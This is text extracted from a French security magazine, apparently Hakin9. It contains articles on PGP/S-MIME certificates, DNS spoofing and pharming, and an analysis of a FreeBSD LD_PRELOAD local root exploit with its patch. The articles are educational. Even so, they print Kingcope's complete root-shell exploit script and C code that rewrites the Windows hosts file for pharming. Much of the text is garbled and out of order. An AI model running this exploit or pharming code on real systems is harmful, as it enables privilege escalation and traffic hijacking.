les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 12: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

